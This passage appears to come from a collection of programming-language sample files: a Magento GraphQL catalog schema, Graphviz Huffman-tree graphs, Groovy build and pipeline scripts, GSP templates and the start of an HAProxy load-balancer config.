ProductPrices object, indicating the price of an item\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\Price\")\n    gift_message_available: String @doc(description: \"Indicates whether a gift message is available\")\n    manufacturer: Int @doc(description: \"A number representing the product's manufacturer\")\n    categories: [CategoryInterface] @doc(description: \"The categories assigned to a product\") @cache(cacheTag: \"cat_c\", cacheIdentity: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Category\\\\CategoriesIdentity\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Categories\")\n    canonical_url: String @doc(description: \"Canonical URL\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\CanonicalUrl\")\n}\n\ninterface PhysicalProductInterface @typeResolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\ProductInterfaceTypeResolverComposite\") @doc(description: \"PhysicalProductInterface contains attributes specific to tangible products\") {\n    weight: Float @doc(description: \"The weight of the item, in units defined by the store\")\n}\n\ntype CustomizableAreaOption implements CustomizableOptionInterface @doc(description: \"CustomizableAreaOption contains information about a text area that is defined as part of a customizable option\") {\n    value: CustomizableAreaValue @doc(description: \"An object that defines a text area\")\n    product_sku: String @doc(description: \"The Stock Keeping Unit of the base product\")\n}\n\ntype CustomizableAreaValue @doc(description: \"CustomizableAreaValue defines the price and sku of a product whose page contains a customized text area\") {\n    price: Float @doc(description: \"The price assigned to this option\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n    max_characters: Int @doc(description: \"The maximum number of characters that can be entered for this customizable option\")\n}\n\ntype CategoryTree implements CategoryInterface @doc(description: \"Category Tree implementation\") {\n    children: [CategoryTree] @doc(description: \"Child categories tree\") @resolve(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\CategoryTree\")\n}\n\ntype CustomizableDateOption implements CustomizableOptionInterface @doc(description: \"CustomizableDateOption contains information about a date picker that is defined as part of a customizable option\") {\n    value: CustomizableDateValue @doc(description: \"An object that defines a date field in a customizable option.\")\n    product_sku: String @doc(description: \"The Stock Keeping Unit of the base product\")\n}\n\ntype CustomizableDateValue @doc(description: \"CustomizableDateValue defines the price and sku of a product whose page contains a customized date picker\") {\n    price: Float @doc(description: \"The price assigned to this option\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n}\n\ntype CustomizableDropDownOption implements CustomizableOptionInterface @doc(description: \"CustomizableDropDownOption contains information about a drop down menu that is defined as part of a customizable option\") {\n    value: [CustomizableDropDownValue] @doc(description: \"An array that defines the set of options for a drop down menu\")\n}\n\ntype CustomizableDropDownValue @doc(description: \"CustomizableDropDownValue defines the price and sku of a product whose page contains a customized drop down menu\") {\n    option_type_id: Int @doc(description: \"The ID assigned to the value\")\n    price: Float @doc(description: \"The price assigned to this option\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n    title: String @doc(description: \"The display name for this option\")\n    sort_order: Int @doc(description: \"The order in which the option is displayed\")\n}\n\ntype CustomizableMultipleOption implements CustomizableOptionInterface @doc(description: \"CustomizableMultipleOption contains information about a multiselect that is defined as part of a customizable option\") {\n    value: [CustomizableMultipleValue] @doc(description: \"An array that defines the set of options for a multiselect\")\n}\n\ntype CustomizableMultipleValue @doc(description: \"CustomizableMultipleValue defines the price and sku of a product whose page contains a customized multiselect\") {\n    option_type_id: Int @doc(description: \"The ID assigned to the value\")\n    price: Float @doc(description: \"The price assigned to this option\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n    title: String @doc(description: \"The display name for this option\")\n    sort_order: Int @doc(description: \"The order in which the option is displayed\")\n}\n\ntype CustomizableFieldOption implements CustomizableOptionInterface @doc(description: \"CustomizableFieldOption contains information about a text field that is defined as part of a customizable option\") {\n    value: CustomizableFieldValue @doc(description: \"An object that defines a text field\")\n    product_sku: String @doc(description: \"The Stock Keeping Unit of the base product\")\n}\n\ntype CustomizableFieldValue @doc(description: \"CustomizableFieldValue defines the price and sku of a product whose page contains a customized text field\") {\n    price: Float @doc(description: \"The price of the custom value\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n    max_characters: Int @doc(description: \"The maximum number of characters that can be entered for this customizable option\")\n}\n\ntype CustomizableFileOption implements CustomizableOptionInterface @doc(description: \"CustomizableFileOption contains information about a file picker that is defined as part of a customizable option\") {\n    value: CustomizableFileValue @doc(description: \"An object that defines a file value\")\n    product_sku: String @doc(description: \"The Stock Keeping Unit of the base product\")\n}\n\ntype CustomizableFileValue @doc(description: \"CustomizableFileValue defines the price and sku of a product whose page contains a customized file picker\") {\n    price: Float @doc(description: \"The price assigned to this option\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n    file_extension: String @doc(description: \"The file extension to accept\")\n    image_size_x: Int @doc(description: \"The maximum width of an image\")\n    image_size_y: Int @doc(description: \"The maximum height of an image\")\n}\n\ntype ProductImage @doc(description: \"Product image information. Contains image relative path, URL and label\") {\n    url: String @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductImage\\\\Url\")\n    label: String @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\ProductImage\\\\Label\")\n}\n\ninterface CustomizableOptionInterface @typeResolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\CustomizableOptionTypeResolver\") @doc(description: \"The CustomizableOptionInterface contains basic information about a customizable option. It can be implemented by several types of configurable options.\") {\n    title: String @doc(description: \"The display name for this option\")\n    required: Boolean @doc(description: \"Indicates whether the option is required\")\n    sort_order: Int @doc(description: \"The order in which the option is displayed\")\n    option_id: Int @doc(description: \"Option ID\")\n}\n\ninterface CustomizableProductInterface @typeResolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\ProductInterfaceTypeResolverComposite\") @doc(description: \"CustomizableProductInterface contains information about customizable product options.\") {\n    options: [CustomizableOptionInterface] @doc(description: \"An array of options for a customizable product\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\Options\")\n}\n\ninterface CategoryInterface @typeResolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\CategoryInterfaceTypeResolver\") @doc(description: \"CategoryInterface contains the full set of attributes that can be returned in a category search\") {\n    id: Int @doc(description: \"An ID that uniquely identifies the category\")\n    description: String @doc(description: \"An optional description of the category\") @resolver(class: \"\\\\Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Category\\\\CategoryHtmlAttribute\")\n    name: String @doc(description: \"The display name of the category\")\n    path: String @doc(description: \"Category Path\")\n    path_in_store: String @doc(description: \"Category path in store\")\n    url_key: String @doc(description: \"The url key assigned to the category\")\n    url_path: String @doc(description: \"The url path assigned to the category\")\n    position: Int @doc(description: \"The position of the category relative to other categories at the same level in tree\")\n    level: Int @doc(description: \"Indicates the depth of the category within the tree\")\n    created_at: String @doc(description: \"Timestamp indicating when the category was created\")\n    updated_at: String @doc(description: \"Timestamp indicating when the category was updated\")\n    product_count: Int @doc(description: \"The number of products in the category\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Category\\\\ProductsCount\")\n    default_sort_by: String @doc(description: \"The attribute to use for sorting\")\n    products(\n        pageSize: Int = 20 @doc(description: \"Specifies the maximum number of results to return at once. This attribute is optional.\"),\n        currentPage: Int = 1 @doc(description: \"Specifies which page of results to return. The default value is 1.\"),\n        sort: ProductSortInput @doc(description: \"Specifies which attribute to sort on, and whether to return the results in ascending or descending order.\")\n    ): CategoryProducts @doc(description: \"The list of products assigned to the category\") @cache(cacheTag: \"cat_p\", cacheIdentity: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Product\\\\Identity\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Category\\\\Products\")\n    breadcrumbs: [Breadcrumb] @doc(description: \"Breadcrumbs, parent categories info\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Category\\\\Breadcrumbs\")\n}\n\ntype Breadcrumb @doc(description: \"Breadcrumb item\"){\n    category_id: Int @doc(description: \"Category ID\")\n    category_name: String @doc(description: \"Category name\")\n    category_level: Int @doc(description: \"Category level\")\n    category_url_key: String @doc(description: \"Category URL key\")\n}\n\ntype CustomizableRadioOption implements CustomizableOptionInterface @doc(description: \"CustomizableRadioOption contains information about a set of radio buttons that are defined as part of a customizable option\") {\n    value: [CustomizableRadioValue] @doc(description: \"An array that defines a set of radio buttons\")\n}\n\ntype CustomizableRadioValue  @doc(description: \"CustomizableRadioValue defines the price and sku of a product whose page contains a customized set of radio buttons\") {\n    option_type_id: Int @doc(description: \"The ID assigned to the value\")\n    price: Float @doc(description: \"The price assigned to this option\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n    title: String @doc(description: \"The display name for this option\")\n    sort_order: Int @doc(description: \"The order in which the radio button is displayed\")\n}\n\ntype CustomizableCheckboxOption implements CustomizableOptionInterface @doc(description: \"CustomizableCheckbbixOption contains information about a set of checkbox values that are defined as part of a customizable option\") {\n    value: [CustomizableCheckboxValue] @doc(description: \"An array that defines a set of checkbox values\")\n}\n\ntype CustomizableCheckboxValue  @doc(description: \"CustomizableCheckboxValue defines the price and sku of a product whose page contains a customized set of checkbox values\") {\n    option_type_id: Int @doc(description: \"The ID assigned to the value\")\n    price: Float @doc(description: \"The price assigned to this option\")\n    price_type: PriceTypeEnum @doc(description: \"FIXED, PERCENT, or DYNAMIC\")\n    sku: String @doc(description: \"The Stock Keeping Unit for this option\")\n    title: String @doc(description: \"The display name for this option\")\n    sort_order: Int @doc(description: \"The order in which the checkbox value is displayed\")\n}\n\ntype VirtualProduct implements ProductInterface, CustomizableProductInterface @doc(description: \"A virtual product is non-tangible product that does not require shipping and is not kept in inventory\") {\n}\n\ntype SimpleProduct implements ProductInterface, PhysicalProductInterface, CustomizableProductInterface @doc(description: \"A simple product is tangible and are usually sold as single units or in fixed quantities\")\n{\n}\n\ntype Products @doc(description: \"The Products object is the top-level object returned in a product search\") {\n    items: [ProductInterface] @doc(description: \"An array of products that match the specified search criteria\")\n    page_info: SearchResultPageInfo @doc(description: \"An object that includes the page_info and currentPage values specified in the query\")\n    total_count: Int @doc(description: \"The number of products returned\")\n    filters: [LayerFilter] @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\LayerFilters\") @doc(description: \"Layered navigation filters array\")\n    sort_fields: SortFields @doc(description: \"An object that includes the default sort field and all available sort fields\") @resolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\Resolver\\\\Category\\\\SortFields\")\n}\n\ntype CategoryProducts @doc(description: \"The category products object returned in the Category query\") {\n    items: [ProductInterface] @doc(description: \"An array of products that are assigned to the category\")\n    page_info: SearchResultPageInfo @doc(description: \"An object that includes the page_info and currentPage values specified in the query\")\n    total_count: Int @doc(description: \"The number of products returned\")\n}\n\ninput ProductFilterInput @doc(description: \"ProductFilterInput defines the filters to be used in the search. A filter contains at least one attribute, a comparison operator, and the value that is being searched for.\") {\n    name: FilterTypeInput @doc(description: \"The product name. Customers use this name to identify the product.\")\n    sku: FilterTypeInput @doc(description: \"A number or code assigned to a product to identify the product, options, price, and manufacturer\")\n    description: FilterTypeInput @doc(description: \"Detailed information about the product. The value can include simple HTML tags.\")\n    short_description: FilterTypeInput @doc(description: \"A short description of the product. Its use depends on the theme.\")\n    price: FilterTypeInput @doc(description: \"The price of an item\")\n    special_price: FilterTypeInput @doc(description: \"The discounted price of the product. Do not include the currency code.\")\n    special_from_date: FilterTypeInput @doc(description: \"The beginning date that a product has a special price\")\n    special_to_date: FilterTypeInput @doc(description: \"The end date that a product has a special price\")\n    weight: FilterTypeInput @doc(description: \"The weight of the item, in units defined by the store\")\n    manufacturer: FilterTypeInput @doc(description: \"A number representing the product's manufacturer\")\n    meta_title: FilterTypeInput @doc(description: \"A string that is displayed in the title bar and tab of the browser and in search results lists\")\n    meta_keyword: FilterTypeInput @doc(description: \"A comma-separated list of keywords that are visible only to search engines\")\n    meta_description: FilterTypeInput @doc(description: \"A brief overview of the product for search results listings, maximum 255 characters\")\n    image: FilterTypeInput @doc(description: \"The relative path to the main image on the product page\")\n    small_image: FilterTypeInput @doc(description: \"The relative path to the small image, which is used on catalog pages\")\n    thumbnail: FilterTypeInput @doc(description: \"The relative path to the product's thumbnail image\")\n    tier_price: FilterTypeInput @doc(description: \"The price when tier pricing is in effect and the items purchased threshold has been reached\")\n    news_from_date: FilterTypeInput @doc(description: \"The beginning date for new product listings, and determines if the product is featured as a new product\")\n    news_to_date: FilterTypeInput @doc(description: \"The end date for new product listings\")\n    custom_layout_update: FilterTypeInput @doc(description: \"XML code that is applied as a layout update to the product page\")\n    min_price: FilterTypeInput @doc(description:\"The numeric minimal price of the product. Do not include the currency code.\")\n    max_price: FilterTypeInput @doc(description:\"The numeric maximal price of the product. Do not include the currency code.\")\n    category_id: FilterTypeInput @doc(description: \"Category ID the product belongs to\")\n    options_container: FilterTypeInput @doc(description: \"If the product has multiple options, determines where they appear on the product page\")\n    required_options: FilterTypeInput @doc(description: \"Indicates whether the product has required options\")\n    has_options: FilterTypeInput @doc(description: \"Indicates whether additional attributes have been created for the product\")\n    image_label: FilterTypeInput @doc(description: \"The label assigned to a product image\")\n    small_image_label: FilterTypeInput @doc(description: \"The label assigned to a product's small image\")\n    thumbnail_label: FilterTypeInput @doc(description: \"The label assigned to a product's thumbnail image\")\n    created_at: FilterTypeInput @doc(description: \"Timestamp indicating when the product was created\")\n    updated_at: FilterTypeInput @doc(description: \"Timestamp indicating when the product was updated\")\n    country_of_manufacture: FilterTypeInput @doc(description: \"The product's country of origin\")\n    custom_layout: FilterTypeInput @doc(description: \"The name of a custom layout\")\n    gift_message_available: FilterTypeInput @doc(description: \"Indicates whether a gift message is available\")\n    or: ProductFilterInput @doc(description: \"The keyword required to perform a logical OR comparison\")\n}\n\ntype ProductMediaGalleryEntriesContent @doc(description: \"ProductMediaGalleryEntriesContent contains an image in base64 format and basic information about the image\") {\n    base64_encoded_data: String @doc(description: \"The image in base64 format\")\n    type: String @doc(description: \"The MIME type of the file, such as image/png\")\n    name: String @doc(description: \"The file name of the image\")\n}\n\ntype ProductMediaGalleryEntriesVideoContent @doc(description: \"ProductMediaGalleryEntriesVideoContent contains a link to a video file and basic information about the video\") {\n    media_type: String @doc(description: \"Must be external-video\")\n    video_provider: String @doc(description: \"Describes the video source\")\n    video_url: String @doc(description: \"The URL to the video\")\n    video_title: String @doc(description: \"The title of the video\")\n    video_description: String @doc(description: \"A description of the video\")\n    video_metadata: String @doc(description: \"Optional data about the video\")\n}\n\ninput ProductSortInput  @doc(description: \"ProductSortInput specifies the attribute to use for sorting search results and indicates whether the results are sorted in ascending or descending order\") {\n    name: SortEnum @doc(description: \"The product name. Customers use this name to identify the product.\")\n    sku: SortEnum @doc(description: \"A number or code assigned to a product to identify the product, options, price, and manufacturer\")\n    description: SortEnum @doc(description: \"Detailed information about the product. The value can include simple HTML tags.\")\n    short_description: SortEnum @doc(description: \"A short description of the product. Its use depends on the theme.\")\n    price: SortEnum @doc(description: \"The price of the item\")\n    special_price: SortEnum @doc(description: \"The discounted price of the product\")\n    special_from_date: SortEnum @doc(description: \"The beginning date that a product has a special price\")\n    special_to_date: SortEnum @doc(description: \"The end date that a product has a special price\")\n    weight: SortEnum @doc(description: \"The weight of the item, in units defined by the store\")\n    manufacturer: SortEnum @doc(description: \"A number representing the product's manufacturer\")\n    meta_title: SortEnum @doc(description: \"A string that is displayed in the title bar and tab of the browser and in search results lists\")\n    meta_keyword: SortEnum @doc(description: \"A comma-separated list of keywords that are visible only to search engines\")\n    meta_description: SortEnum @doc(description: \"A brief overview of the product for search results listings, maximum 255 characters\")\n    image: SortEnum @doc(description: \"The relative path to the main image on the product page\")\n    small_image: SortEnum @doc(description: \"The relative path to the small image, which is used on catalog pages\")\n    thumbnail: SortEnum @doc(description: \"The relative path to the product's thumbnail image\")\n    tier_price: SortEnum @doc(description: \"The price when tier pricing is in effect and the items purchased threshold has been reached\")\n    news_from_date: SortEnum @doc(description: \"The beginning date for new product listings, and determines if the product is featured as a new product\")\n    news_to_date: SortEnum @doc(description: \"The end date for new product listings\")\n    custom_layout_update: SortEnum @doc(description: \"XML code that is applied as a layout update to the product page\")\n    options_container: SortEnum @doc(description: \"If the product has multiple options, determines where they appear on the product page\")\n    required_options: SortEnum @doc(description: \"Indicates whether the product has required options\")\n    has_options: SortEnum @doc(description: \"Indicates whether additional attributes have been created for the product\")\n    image_label: SortEnum @doc(description: \"The label assigned to a product image\")\n    small_image_label: SortEnum @doc(description: \"The label assigned to a product's small image\")\n    thumbnail_label: SortEnum @doc(description: \"The label assigned to a product's thumbnail image\")\n    created_at: SortEnum @doc(description: \"Timestamp indicating when the product was created\")\n    updated_at: SortEnum @doc(description: \"Timestamp indicating when the product was updated\")\n    country_of_manufacture: SortEnum @doc(description: \"The product's country of origin\")\n    custom_layout: SortEnum @doc(description: \"The name of a custom layout\")\n    gift_message_available: SortEnum @doc(description: \"Indicates whether a gift message is available\")\n}\n\ntype MediaGalleryEntry  @doc(description: \"MediaGalleryEntry defines characteristics about images and videos associated with a specific product\") {\n    id: Int @doc(description: \"The identifier assigned to the object\")\n    media_type: String @doc(description: \"image or video\")\n    label: String @doc(description: \"The alt text displayed on the UI when the user points to the image\")\n    position: Int @doc(description: \"The media item's position after it has been sorted\")\n    disabled: Boolean @doc(description: \"Whether the image is hidden from vie\")\n    types: [String] @doc(description: \"Array of image types. It can have the following values: image, small_image, thumbnail\")\n    file: String @doc(description: \"The path of the image on the server\")\n    content: ProductMediaGalleryEntriesContent @doc(description: \"Contains a ProductMediaGalleryEntriesContent object\")\n    video_content: ProductMediaGalleryEntriesVideoContent @doc(description: \"Contains a ProductMediaGalleryEntriesVideoContent object\")\n}\n\ntype LayerFilter {\n    name: String @doc(description: \"Layered navigation filter name\")\n    request_var: String @doc(description: \"Request variable name for filter query\")\n    filter_items_count: Int @doc(description: \"Count of filter items in filter group\")\n    filter_items: [LayerFilterItemInterface] @doc(description: \"Array of filter items\")\n}\n\ninterface LayerFilterItemInterface @typeResolver(class: \"Magento\\\\CatalogGraphQl\\\\Model\\\\LayerFilterItemTypeResolverComposite\") {\n    label: String @doc(description: \"Filter label\")\n    value_string: String @doc(description: \"Value for filter request variable to be used in query\")\n    items_count: Int @doc(description: \"Count of items by filter\")\n}\n\ntype LayerFilterItem implements LayerFilterItemInterface {\n\n}\n\ntype SortField {\n    value: String @doc(description: \"Attribute code of sort field\")\n    label: String @doc(description: \"Label of sort field\")\n}\n\ntype SortFields @doc(description: \"SortFields contains a default value for sort fields and all available sort fields\") {\n    default: String @doc(description: \"Default value of sort fields\")\n    options: [SortField] @doc(description: \"Available sort fields\")\n}\n"
  },
  {
    "path": "samples/Graphviz (DOT)/annoying.DOT",
    "content": "/* \n  Huffman Tree DOT graph.\n\n  DOT Reference :  http://www.graphviz.org/doc/info/lang.html\n                   http://en.wikipedia.org/wiki/DOT_language\n  Timestamp     :  1415989074 \n  Phrase        :  'OH GOD WHY IS LINGUIST SO ANAL ABOUT THIS STUFF'\n\n  Generated on http://huffman.ooz.ie/\n*/\n\ndigraph G {\n    edge [label=0];\n    graph [ranksep=0];\n    T [shape=record, label=\"{{T|4}|000}\"];\n    S [shape=record, label=\"{{S|5}|001}\"];\n    SPACE [shape=record, label=\"{{SPACE|9}|01}\"];\n    A [shape=record, label=\"{{A|3}|1000}\"];\n    H [shape=record, label=\"{{H|3}|1001}\"];\n    U [shape=record, label=\"{{U|3}|1010}\"];\n    L [shape=record, label=\"{{L|2}|10110}\"];\n    N [shape=record, label=\"{{N|2}|10111}\"];\n    I [shape=record, label=\"{{I|4}|1100}\"];\n    O [shape=record, label=\"{{O|4}|1101}\"];\n    G [shape=record, label=\"{{G|2}|11100}\"];\n    F [shape=record, label=\"{{F|2}|11101}\"];\n    GF [label=4];\n    W [shape=record, label=\"{{W|1}|111100}\"];\n    Y [shape=record, label=\"{{Y|1}|111101}\"];\n    B [shape=record, label=\"{{B|1}|111110}\"];\n    D [shape=record, label=\"{{D|1}|111111}\"];\n    BD [label=2];\n    WYBD [label=4];\n    GFWYBD [label=8];\n    47 -> 18 -> 9 -> T;\n    29 -> 13 -> 6 -> A;\n    7 -> U;\n    4 -> L;\n    16 -> 8 -> I;\n    GFWYBD -> GF -> G;\n    WYBD -> 2 -> W;\n    BD -> B;9 -> S [label=1];\n    18 -> SPACE [label=1];\n    6 -> H [label=1];\n    13 -> 7 -> 4 -> N [label=1];\n    8 -> O [label=1];\n    GF -> F [label=1];\n    2 -> Y [label=1];\n    47 -> 29 -> 16 -> GFWYBD -> WYBD -> BD -> D [label=1];\n}"
  },
  {
    "path": "samples/Graphviz (DOT)/sample.dot",
    "content": "/* \n  Huffman Tree DOT graph.\n\n  DOT Reference :  http://www.graphviz.org/doc/info/lang.html\n                   http://en.wikipedia.org/wiki/DOT_language\n  Timestamp     :  1415988139 \n  Phrase        :  'SERIAL KILLER AND SEX OFFENDER ANGUS SINCLAIR IS JAILED FOR A MINIMUM OF 37 YEARS FOR THE 1977 WORLDS END MURDERS OF HELEN SCOTT AND CHRISTINE EADIE.'\n\n  Generated on http://huffman.ooz.ie/\n*/\n\ndigraph G {\n    edge [label=0];\n    graph [ranksep=0];\n    node [shape=record];\n    U [label=\"{{U|3}|00000}\"];\n    G [label=\"{{G|1}|0000100}\"];\n    K [label=\"{{K|1}|0000101}\"];\n    _3 [label=\"{{3|1}|0000110}\"];\n    _9 [label=\"{{9|1}|0000111}\"];\n    _39 [label=2];\n    L [label=\"{{L|7}|0001}\"];\n    O [label=\"{{O|7}|0010}\"];\n    Y [label=\"{{Y|1}|0011000}\"];\n    X [label=\"{{X|1}|0011001}\"];\n    YX [label=2];\n    J [label=\"{{J|1}|0011010}\"];\n    W [label=\"{{W|1}|0011011}\"];\n    JW [label=2];\n    YXJW [label=4];\n    M [label=\"{{M|4}|00111}\"];\n    E [label=\"{{E|15}|010}\"];\n    D [label=\"{{D|8}|0110}\"];\n    T [label=\"{{T|4}|01110}\"];\n    DOT [label=\"{{DOT|1}|0111100}\"];\n    _1 [label=\"{{1|1}|0111101}\"];\n    DOT1 [label=2];\n    _7 [label=\"{{7|3}|011111}\"];\n    A [label=\"{{A|9}|1000}\"];\n    N [label=\"{{N|9}|1001}\"];\n    S [label=\"{{S|10}|1010}\"];\n    I [label=\"{{I|11}|1011}\"];\n    R [label=\"{{R|11}|1100}\"];\n    C [label=\"{{C|3}|110100}\"];\n    H [label=\"{{H|3}|110101}\"];\n    F [label=\"{{F|6}|11011}\"];\n    SPACE [label=\"{{SPACE|26}|111}\"];\n    149 -> 61 -> 29 -> 14 -> 7 -> U;\n    4 -> 2 -> G;\n    _39 -> _3;\n    15 -> O;\n    8 -> YXJW -> YX -> Y;\n    JW -> J;\n    32 -> E;\n    17 -> D;\n    9 -> T;\n    5 -> DOT1 -> DOT;\n    88 -> 39 -> 18 -> A;\n    21 -> S;\n    49 -> 23 -> R;\n    12 -> 6 -> C;2 -> K [label=1];\n    7 -> 4 -> _39 -> _9 [label=1];\n    14 -> L [label=1];\n    YX -> X [label=1];\n    YXJW -> JW -> W [label=1];\n    29 -> 15 -> 8 -> M [label=1];\n    DOT1 -> _1 [label=1];\n    61 -> 32 -> 17 -> 9 -> 5 -> _7 [label=1];\n    18 -> N [label=1];\n    39 -> 21 -> I [label=1];\n    6 -> H [label=1];\n    23 -> 12 -> F [label=1];\n    149 -> 88 -> 49 -> SPACE [label=1];\n}"
  },
  {
    "path": "samples/Groovy/build.gvy",
    "content": "task echoDirListViaAntBuilder() {\n    description = 'Uses the built-in AntBuilder instance to echo and list files'\n    //Docs: http://ant.apache.org/manual/Types/fileset.html\n    \n    //Echo the Gradle project name via the ant echo plugin\n    ant.echo(message: project.name)\n    ant.echo(path)\n    ant.echo(\"${projectDir}/samples\")\n    \n    //Gather list of files in a subdirectory\n    ant.fileScanner{\n        fileset(dir:\"samples\")\n    }.each{\n        //Print each file to screen with the CWD (projectDir) path removed.\n        println it.toString() - \"${projectDir}\"\n    }\n}\n"
  },
  {
    "path": "samples/Groovy/filenames/Jenkinsfile",
    "content": "jettyUrl = 'http://localhost:8081/'\n\ndef servers\n\nstage 'Dev'\nnode {\n    checkout scm\n    servers = load 'servers.groovy'\n    mvn '-o clean package'\n    dir('target') {stash name: 'war', includes: 'x.war'}\n}\n\nstage 'QA'\nparallel(longerTests: {\n    runTests(servers, 30)\n}, quickerTests: {\n    runTests(servers, 20)\n})\n\nstage name: 'Staging', concurrency: 1\nnode {\n    servers.deploy 'staging'\n}\n\ninput message: \"Does ${jettyUrl}staging/ look good?\"\n\nstage name: 'Production', concurrency: 1\nnode {\n    sh \"wget -O - -S ${jettyUrl}staging/\"\n    echo 'Production server looks to be alive'\n    servers.deploy 'production'\n    echo \"Deployed to ${jettyUrl}production/\"\n}\n\ndef mvn(args) {\n    sh \"${tool 'Maven 3.x'}/bin/mvn ${args}\"\n}\n\ndef runTests(servers, duration) {\n    node {\n        checkout scm\n        servers.runWithServer {id ->\n            mvn \"-o -f sometests test -Durl=${jettyUrl}${id}/ -Dduration=${duration}\"\n        }\n    }\n}\n"
  },
  {
    "path": "samples/Groovy/groovy",
    "content": "#!/usr/bin/env groovy\nprintln \"Groovy!\"\n"
  },
  {
    "path": "samples/Groovy/script.gvy",
    "content": "#!/usr/bin/env groovy\nprintln \"Hello World\"\n"
  },
  {
    "path": "samples/Groovy/template.grt",
    "content": "html {\n  head {\n    component \"bootstrap\"\n    title \"Bootstrap Template\"\n  }\n  \n  html {\n  }\n}\n"
  },
  {
    "path": "samples/Groovy/template.gtpl",
    "content": "html {\n  head {\n    title \"Example Template\"\n  }\n  \n  body {\n    p \"This is a quick template example\"\n  }\n}\n"
  },
  {
    "path": "samples/Groovy Server Pages/bar.gsp",
    "content": "<html>\n<head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    <title>Testing with SiteMesh and Resources</title>\n    <meta name=\"layout\" content=\"blankMain\"/>\n    <r:require module=\"style\"/>\n</head>\n<body>\n</body>\n</html>\n"
  },
  {
    "path": "samples/Groovy Server Pages/hello-pagedirective.gsp",
    "content": "<%@ page contentType=\"text/html;charset=UTF-8\" %>\n\n<html>\n  <head>\n    <title>Using page directive tag</title>\n  </head>\n  <body>\n        <div class=\"center\">\n            <a href=\"#\" alt=\"Download\" id=\"downloadButton\">Download</a>\n        </div>\n        <div class=\"center\">\n            <a href=\"#\" alt=\"Print\" id=\"printButton\">Print</a>\n        </div>\n  </body>\n</html>\n\n"
  },
  {
    "path": "samples/Groovy Server Pages/hello-resources.gsp",
    "content": "<html>\n<head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    <title>Testing with Resources</title>\n    <r:require module=\"style\"/>\n</head>\n<body>\n</body>\n</html>\n"
  },
  {
    "path": "samples/Groovy Server Pages/hello-var.gsp",
    "content": "<html>\n<head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n    <title>Testing with SiteMesh and ${example}</title>\n\n</head>\n<body>\n</body>\n</html>\n"
  },
  {
    "path": "samples/HAProxy/haproxy.cfg",
    "content": "# HAProxy configuration showing choosing a different backend for static files\nglobal\n    maxconn 50000\n    log /dev/log local0\n    log /dev/log local1 notice\n    user haproxy\n    group haproxy\n    stats socket /run/haproxy/admin.sock user haproxy group haproxy mode 660 level admin\n    nbproc 1\n    nbthread 4\n    cpu-map auto:1/1-4 0-3\n    ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256\n    ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets\n\ndefaults\n    timeout connect 5s\n    timeout client  5s\n    timeout server  5s\n    log global\n    mode http\n    option httplog\n    option dontlognull\n    errorfile 400 /etc/haproxy/errors/400.http\n    errorfile 403 /etc/haproxy/errors/403.http\n    errorfile 408 /etc/haproxy/errors/408.http\n    errorfile 500 /etc/haproxy/errors/500.http\n    errorfile 502 /etc/haproxy/errors/502.http\n    errorfile 503 /etc/haproxy/errors/503.http\n    errorfile 504 /etc/haproxy/errors/504.http\n\nfrontend public\n    bind 10.0.0.3:80\n    bind 10.0.0.3:443 ssl crt /etc/ssl/certs/mysite.pem\n    redirect scheme https if !{ ssl_fc }\n    acl static_files path_end .gif .png .jpg .css .js .svg .ttf .woff .woff2\n    use_backend nginx if static_files\n    default_backend nodejs\n\nbackend nodejs\n    balance roundrobin\n    cookie PHPSESSID prefix nocache\n    option httpchk HEAD /\n    